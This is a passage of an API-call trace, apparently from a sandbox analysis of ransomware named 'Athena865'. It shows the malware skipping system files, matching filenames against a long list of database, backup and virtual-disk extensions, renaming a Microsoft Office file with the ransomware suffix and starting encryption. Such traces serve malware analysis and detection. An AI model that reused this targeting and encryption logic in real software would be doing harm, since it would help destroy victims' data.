(hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b90) returned 0x100000 [0067.923] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.923] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.923] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.924] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.925] CloseHandle (hObject=0x154) returned 1 [0067.925] CloseHandle (hObject=0x17c) returned 1 [0067.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="BCSEVE~1.MAN")) returned 1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".") returned 1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2="..") returned 1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2="windows") returned -1 [0067.925] lstrcmpiW (lpString1="BCSEvents.man", lpString2="bootmgr") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="temp") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="pagefile.sys") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="boot") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="ids.txt") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="ntuser.dat") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="perflogs") returned -1 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2="MSBuild") returned -1 [0067.926] lstrlenW (lpString="BCSEvents.man") returned 13 [0067.926] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSEvents.man" | out: lpString1="BCSEvents.man") returned="BCSEvents.man" [0067.926] lstrlenW (lpString="BCSEvents.man") returned 13 [0067.926] lstrlenW (lpString="Athena865") returned 9 [0067.926] lstrcmpiW (lpString1="vents.man", lpString2="Athena865") returned 1 [0067.926] lstrlenW (lpString=".dll") returned 4 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".dll") returned 1 [0067.926] lstrlenW (lpString=".lnk") returned 4 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".lnk") returned 1 [0067.926] lstrlenW (lpString=".ini") returned 4 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".ini") returned 1 [0067.926] lstrlenW (lpString=".sys") returned 4 [0067.926] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".sys") returned 1 [0067.926] lstrlenW (lpString="BCSEvents.man") returned 13 [0067.926] lstrlenW (lpString="bak") returned 3 [0067.926] lstrcmpiW (lpString1="man", lpString2="bak") returned 1 [0067.926] lstrlenW (lpString="ba_") returned 3 [0067.926] lstrcmpiW (lpString1="man", lpString2="ba_") returned 1 [0067.926] lstrlenW (lpString="dbb") returned 3 [0067.926] lstrcmpiW (lpString1="man", lpString2="dbb") returned 1 [0067.926] lstrlenW (lpString="vmdk") returned 4 [0067.926] lstrcmpiW (lpString1=".man", lpString2="vmdk") returned -1 [0067.926] lstrlenW (lpString="rar") returned 3 [0067.926] lstrcmpiW (lpString1="man", lpString2="rar") returned -1 [0067.927] lstrlenW (lpString="zip") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="zip") returned -1 [0067.927] lstrlenW (lpString="tgz") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="tgz") returned -1 [0067.927] lstrlenW (lpString="vbox") returned 4 [0067.927] lstrcmpiW (lpString1=".man", lpString2="vbox") returned -1 [0067.927] lstrlenW (lpString="vdi") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="vdi") returned -1 [0067.927] lstrlenW (lpString="vhd") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="vhd") returned -1 [0067.927] lstrlenW (lpString="vhdx") returned 4 [0067.927] lstrcmpiW (lpString1=".man", lpString2="vhdx") returned -1 [0067.927] lstrlenW (lpString="avhd") returned 4 [0067.927] lstrcmpiW (lpString1=".man", lpString2="avhd") returned -1 [0067.927] lstrlenW (lpString="db") returned 2 [0067.927] lstrcmpiW (lpString1="an", lpString2="db") returned -1 [0067.927] lstrlenW (lpString="db2") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="db2") returned 1 [0067.927] lstrlenW (lpString="db3") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="db3") returned 1 [0067.927] lstrlenW (lpString="dbf") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="dbf") returned 1 [0067.927] lstrlenW (lpString="mdf") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="mdf") returned -1 [0067.927] lstrlenW (lpString="mdb") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="mdb") returned -1 [0067.927] lstrlenW (lpString="sql") returned 3 [0067.927] lstrcmpiW (lpString1="man", lpString2="sql") returned -1 [0067.927] lstrlenW (lpString="sqlite") returned 6 [0067.927] lstrcmpiW (lpString1="ts.man", lpString2="sqlite") returned 1 [0067.927] lstrlenW (lpString="sqlite3") returned 7 [0067.927] lstrcmpiW (lpString1="nts.man", lpString2="sqlite3") returned -1 [0067.928] lstrlenW (lpString="sqlitedb") returned 8 [0067.928] lstrcmpiW (lpString1="ents.man", lpString2="sqlitedb") returned -1 [0067.928] lstrlenW (lpString="xml") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="xml") returned -1 [0067.928] lstrlenW (lpString="$er") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="$er") returned 1 [0067.928] lstrlenW (lpString="4dd") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="4dd") returned 1 [0067.928] lstrlenW (lpString="4dl") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="4dl") returned 1 [0067.928] lstrlenW (lpString="^^^") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="^^^") returned 1 [0067.928] lstrlenW (lpString="abs") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="abs") returned 1 [0067.928] lstrlenW (lpString="abx") returned 3 [0067.928] lstrcmpiW (lpString1="man", lpString2="abx") returned 1 [0067.928] lstrlenW (lpString="accdb") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accdb") returned 1 [0067.928] lstrlenW (lpString="accdc") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accdc") returned 1 [0067.928] lstrlenW (lpString="accde") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accde") returned 1 [0067.928] lstrlenW (lpString="accdr") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accdr") returned 1 [0067.928] lstrlenW (lpString="accdt") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accdt") returned 1 [0067.928] lstrlenW (lpString="accdw") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accdw") returned 1 [0067.928] lstrlenW (lpString="accft") returned 5 [0067.928] lstrcmpiW (lpString1="s.man", lpString2="accft") returned 1 [0067.928] lstrlenW (lpString="adb") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="adb") returned 1 [0067.929] lstrlenW (lpString="adb") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="adb") returned 1 [0067.929] lstrlenW (lpString="ade") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="ade") returned 1 [0067.929] lstrlenW (lpString="adf") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="adf") returned 1 [0067.929] lstrlenW (lpString="adn") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="adn") returned 1 [0067.929] lstrlenW (lpString="adp") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="adp") returned 1 [0067.929] lstrlenW (lpString="alf") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="alf") returned 1 [0067.929] lstrlenW (lpString="ask") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="ask") returned 1 [0067.929] lstrlenW (lpString="btr") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="btr") returned 1 [0067.929] lstrlenW (lpString="cat") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="cat") returned 1 [0067.929] lstrlenW (lpString="cdb") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="cdb") returned 1 [0067.929] lstrlenW (lpString="ckp") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="ckp") returned 1 [0067.929] lstrlenW (lpString="cma") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="cma") returned 1 [0067.929] lstrlenW (lpString="cpd") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="cpd") returned 1 [0067.929] lstrlenW (lpString="dacpac") returned 6 [0067.929] lstrcmpiW (lpString1="ts.man", lpString2="dacpac") returned 1 [0067.929] lstrlenW (lpString="dad") returned 3 [0067.929] lstrcmpiW (lpString1="man", lpString2="dad") returned 1 [0067.929] lstrlenW (lpString="dadiagrams") returned 10 [0067.929] lstrcmpiW (lpString1="Events.man", lpString2="dadiagrams") returned 1 [0067.930] lstrlenW (lpString="daschema") returned 8 [0067.930] lstrcmpiW (lpString1="ents.man", lpString2="daschema") returned 1 [0067.930] lstrlenW (lpString="db-journal") returned 10 [0067.930] lstrcmpiW (lpString1="Events.man", lpString2="db-journal") returned 1 [0067.930] lstrlenW (lpString="db-shm") returned 6 [0067.930] lstrcmpiW (lpString1="ts.man", lpString2="db-shm") returned 1 [0067.930] lstrlenW (lpString="db-wal") returned 6 [0067.930] lstrcmpiW (lpString1="ts.man", lpString2="db-wal") returned 1 [0067.930] lstrlenW (lpString="dbc") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dbc") returned 1 [0067.930] lstrlenW (lpString="dbs") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dbs") returned 1 [0067.930] lstrlenW (lpString="dbt") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dbt") returned 1 [0067.930] lstrlenW (lpString="dbv") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dbv") returned 1 [0067.930] lstrlenW (lpString="dbx") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dbx") returned 1 [0067.930] lstrlenW (lpString="dcb") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dcb") returned 1 [0067.930] lstrlenW (lpString="dct") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dct") returned 1 [0067.930] lstrlenW (lpString="dcx") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dcx") returned 1 [0067.930] lstrlenW (lpString="ddl") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="ddl") returned 1 [0067.930] lstrlenW (lpString="dlis") returned 4 [0067.930] lstrcmpiW (lpString1=".man", lpString2="dlis") returned -1 [0067.930] lstrlenW (lpString="dp1") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dp1") returned 1 [0067.930] lstrlenW (lpString="dqy") returned 3 [0067.930] lstrcmpiW (lpString1="man", lpString2="dqy") returned 1 [0067.931] lstrlenW (lpString="dsk") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="dsk") returned 1 [0067.931] lstrlenW (lpString="dsn") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="dsn") returned 1 [0067.931] lstrlenW (lpString="dtsx") returned 4 [0067.931] lstrcmpiW (lpString1=".man", lpString2="dtsx") returned -1 [0067.931] lstrlenW (lpString="dxl") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="dxl") returned 1 [0067.931] lstrlenW (lpString="eco") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="eco") returned 1 [0067.931] lstrlenW (lpString="ecx") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="ecx") returned 1 [0067.931] lstrlenW (lpString="edb") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="edb") returned 1 [0067.931] lstrlenW (lpString="epim") returned 4 [0067.931] lstrcmpiW (lpString1=".man", lpString2="epim") returned -1 [0067.931] lstrlenW (lpString="fcd") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="fcd") returned 1 [0067.931] lstrlenW (lpString="fdb") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="fdb") returned 1 [0067.931] lstrlenW (lpString="fic") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="fic") returned 1 [0067.931] lstrlenW (lpString="flexolibrary") returned 12 [0067.931] lstrcmpiW (lpString1="CSEvents.man", lpString2="flexolibrary") returned -1 [0067.931] lstrlenW (lpString="fm5") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="fm5") returned 1 [0067.931] lstrlenW (lpString="fmp") returned 3 [0067.931] lstrcmpiW (lpString1="man", lpString2="fmp") returned 1 [0067.931] lstrlenW (lpString="fmp12") returned 5 [0067.931] lstrcmpiW (lpString1="s.man", lpString2="fmp12") returned 1 [0067.931] lstrlenW (lpString="fmpsl") returned 5 [0067.931] lstrcmpiW (lpString1="s.man", lpString2="fmpsl") returned 1 [0067.932] lstrlenW (lpString="fol") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fol") returned 1 [0067.932] lstrlenW (lpString="fp3") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fp3") returned 1 [0067.932] lstrlenW (lpString="fp4") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fp4") returned 1 [0067.932] lstrlenW (lpString="fp5") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fp5") returned 1 [0067.932] lstrlenW (lpString="fp7") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fp7") returned 1 [0067.932] lstrlenW (lpString="fpt") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="fpt") returned 1 [0067.932] lstrlenW (lpString="frm") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="frm") returned 1 [0067.932] lstrlenW (lpString="gdb") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="gdb") returned 1 [0067.932] lstrlenW (lpString="gdb") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="gdb") returned 1 [0067.932] lstrlenW (lpString="grdb") returned 4 [0067.932] lstrcmpiW (lpString1=".man", lpString2="grdb") returned -1 [0067.932] lstrlenW (lpString="gwi") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="gwi") returned 1 [0067.932] lstrlenW (lpString="hdb") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="hdb") returned 1 [0067.932] lstrlenW (lpString="his") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="his") returned 1 [0067.932] lstrlenW (lpString="ib") returned 2 [0067.932] lstrcmpiW (lpString1="an", lpString2="ib") returned -1 [0067.932] lstrlenW (lpString="idb") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="idb") returned 1 [0067.932] lstrlenW (lpString="ihx") returned 3 [0067.932] lstrcmpiW (lpString1="man", lpString2="ihx") returned 1 [0067.932] lstrlenW (lpString="itdb") returned 4 [0067.933] lstrcmpiW (lpString1=".man", lpString2="itdb") returned -1 [0067.933] lstrlenW (lpString="itw") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="itw") returned 1 [0067.933] lstrlenW (lpString="jet") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="jet") returned 1 [0067.933] lstrlenW (lpString="jtx") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="jtx") returned 1 [0067.933] lstrlenW (lpString="kdb") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="kdb") returned 1 [0067.933] lstrlenW (lpString="kexi") returned 4 [0067.933] lstrcmpiW (lpString1=".man", lpString2="kexi") returned -1 [0067.933] lstrlenW (lpString="kexic") returned 5 [0067.933] lstrcmpiW (lpString1="s.man", lpString2="kexic") returned 1 [0067.933] lstrlenW (lpString="kexis") returned 5 [0067.933] lstrcmpiW (lpString1="s.man", lpString2="kexis") returned 1 [0067.933] lstrlenW (lpString="lgc") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="lgc") returned 1 [0067.933] lstrlenW (lpString="lwx") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="lwx") returned 1 [0067.933] lstrlenW (lpString="maf") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="maf") returned 1 [0067.933] lstrlenW (lpString="maq") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="maq") returned -1 [0067.933] lstrlenW (lpString="mar") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="mar") returned -1 [0067.933] lstrlenW (lpString="marshal") returned 7 [0067.933] lstrcmpiW (lpString1="nts.man", lpString2="marshal") returned 1 [0067.933] lstrlenW (lpString="mas") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="mas") returned -1 [0067.933] lstrlenW (lpString="mav") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="mav") returned -1 [0067.933] lstrlenW (lpString="maw") returned 3 [0067.933] lstrcmpiW (lpString1="man", lpString2="maw") returned -1 [0067.934] lstrlenW (lpString="mdbhtml") returned 7 [0067.934] lstrcmpiW (lpString1="nts.man", lpString2="mdbhtml") returned 1 [0067.934] lstrlenW (lpString="mdn") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mdn") returned -1 [0067.934] lstrlenW (lpString="mdt") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mdt") returned -1 [0067.934] lstrlenW (lpString="mfd") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mfd") returned -1 [0067.934] lstrlenW (lpString="mpd") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mpd") returned -1 [0067.934] lstrlenW (lpString="mrg") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mrg") returned -1 [0067.934] lstrlenW (lpString="mud") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mud") returned -1 [0067.934] lstrlenW (lpString="mwb") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="mwb") returned -1 [0067.934] lstrlenW (lpString="myd") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="myd") returned -1 [0067.934] lstrlenW (lpString="ndf") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="ndf") returned -1 [0067.934] lstrlenW (lpString="nnt") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="nnt") returned -1 [0067.934] lstrlenW (lpString="nrmlib") returned 6 [0067.934] lstrcmpiW (lpString1="ts.man", lpString2="nrmlib") returned 1 [0067.934] lstrlenW (lpString="ns2") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="ns2") returned -1 [0067.934] lstrlenW (lpString="ns3") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="ns3") returned -1 [0067.934] lstrlenW (lpString="ns4") returned 3 [0067.934] lstrcmpiW (lpString1="man", lpString2="ns4") returned -1 [0067.935] lstrlenW (lpString="nsf") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="nsf") returned -1 [0067.935] lstrlenW (lpString="nv") returned 2 [0067.935] lstrcmpiW (lpString1="an", lpString2="nv") returned -1 [0067.935] lstrlenW (lpString="nv2") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="nv2") returned -1 [0067.935] lstrlenW (lpString="nwdb") returned 4 [0067.935] lstrcmpiW (lpString1=".man", lpString2="nwdb") returned -1 [0067.935] lstrlenW (lpString="nyf") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="nyf") returned -1 [0067.935] lstrlenW (lpString="odb") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="odb") returned -1 [0067.935] lstrlenW (lpString="odb") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="odb") returned -1 [0067.935] lstrlenW (lpString="oqy") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="oqy") returned -1 [0067.935] lstrlenW (lpString="ora") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="ora") returned -1 [0067.935] lstrlenW (lpString="orx") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="orx") returned -1 [0067.935] lstrlenW (lpString="owc") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="owc") returned -1 [0067.935] lstrlenW (lpString="p96") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="p96") returned -1 [0067.935] lstrlenW (lpString="p97") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="p97") returned -1 [0067.935] lstrlenW (lpString="pan") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="pan") returned -1 [0067.935] lstrlenW (lpString="pdb") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="pdb") returned -1 [0067.935] lstrlenW (lpString="pdm") returned 3 [0067.935] lstrcmpiW (lpString1="man", lpString2="pdm") returned -1 [0067.936] lstrlenW (lpString="pnz") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="pnz") returned -1 [0067.936] lstrlenW (lpString="qry") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="qry") returned -1 [0067.936] lstrlenW (lpString="qvd") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="qvd") returned -1 [0067.936] lstrlenW (lpString="rbf") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="rbf") returned -1 [0067.936] lstrlenW (lpString="rctd") returned 4 [0067.936] lstrcmpiW (lpString1=".man", lpString2="rctd") returned -1 [0067.936] lstrlenW (lpString="rod") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="rod") returned -1 [0067.936] lstrlenW (lpString="rodx") returned 4 [0067.936] lstrcmpiW (lpString1=".man", lpString2="rodx") returned -1 [0067.936] lstrlenW (lpString="rpd") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="rpd") returned -1 [0067.936] lstrlenW (lpString="rsd") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="rsd") returned -1 [0067.936] lstrlenW (lpString="sas7bdat") returned 8 [0067.936] lstrcmpiW (lpString1="ents.man", lpString2="sas7bdat") returned -1 [0067.936] lstrlenW (lpString="sbf") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="sbf") returned -1 [0067.936] lstrlenW (lpString="scx") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="scx") returned -1 [0067.936] lstrlenW (lpString="sdb") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="sdb") returned -1 [0067.936] lstrlenW (lpString="sdc") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="sdc") returned -1 [0067.936] lstrlenW (lpString="sdf") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="sdf") returned -1 [0067.936] lstrlenW (lpString="sis") returned 3 [0067.936] lstrcmpiW (lpString1="man", lpString2="sis") returned -1 [0067.937] lstrlenW (lpString="spq") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="spq") returned -1 [0067.937] lstrlenW (lpString="te") returned 2 [0067.937] lstrcmpiW (lpString1="an", lpString2="te") returned -1 [0067.937] lstrlenW (lpString="teacher") returned 7 [0067.937] lstrcmpiW (lpString1="nts.man", lpString2="teacher") returned -1 [0067.937] lstrlenW (lpString="tmd") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="tmd") returned -1 [0067.937] lstrlenW (lpString="tps") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="tps") returned -1 [0067.937] lstrlenW (lpString="trc") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="trc") returned -1 [0067.937] lstrlenW (lpString="trc") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="trc") returned -1 [0067.937] lstrlenW (lpString="trm") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="trm") returned -1 [0067.937] lstrlenW (lpString="udb") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="udb") returned -1 [0067.937] lstrlenW (lpString="udl") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="udl") returned -1 [0067.937] lstrlenW (lpString="usr") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="usr") returned -1 [0067.937] lstrlenW (lpString="v12") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="v12") returned -1 [0067.937] lstrlenW (lpString="vis") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="vis") returned -1 [0067.937] lstrlenW (lpString="vpd") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="vpd") returned -1 [0067.937] lstrlenW (lpString="vvv") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="vvv") returned -1 [0067.937] lstrlenW (lpString="wdb") returned 3 [0067.937] lstrcmpiW (lpString1="man", lpString2="wdb") returned -1 [0067.937] lstrlenW (lpString="wmdb") returned 4 [0067.938] lstrcmpiW (lpString1=".man", lpString2="wmdb") returned -1 [0067.938] lstrlenW (lpString="wrk") returned 3 [0067.938] lstrcmpiW (lpString1="man", lpString2="wrk") returned -1 [0067.938] lstrlenW (lpString="xdb") returned 3 [0067.938] lstrcmpiW (lpString1="man", lpString2="xdb") returned -1 [0067.938] lstrlenW (lpString="xld") returned 3 [0067.938] lstrcmpiW (lpString1="man", lpString2="xld") returned -1 [0067.938] lstrlenW (lpString="xmlff") returned 5 [0067.938] lstrcmpiW (lpString1="s.man", lpString2="xmlff") returned -1 [0067.938] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.Athena865") returned 66 [0067.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.athena865"), dwFlags=0x1) returned 1 [0067.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.939] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36177) returned 1 [0067.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.939] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.940] CryptGenRandom (in: hProv=0x519008, 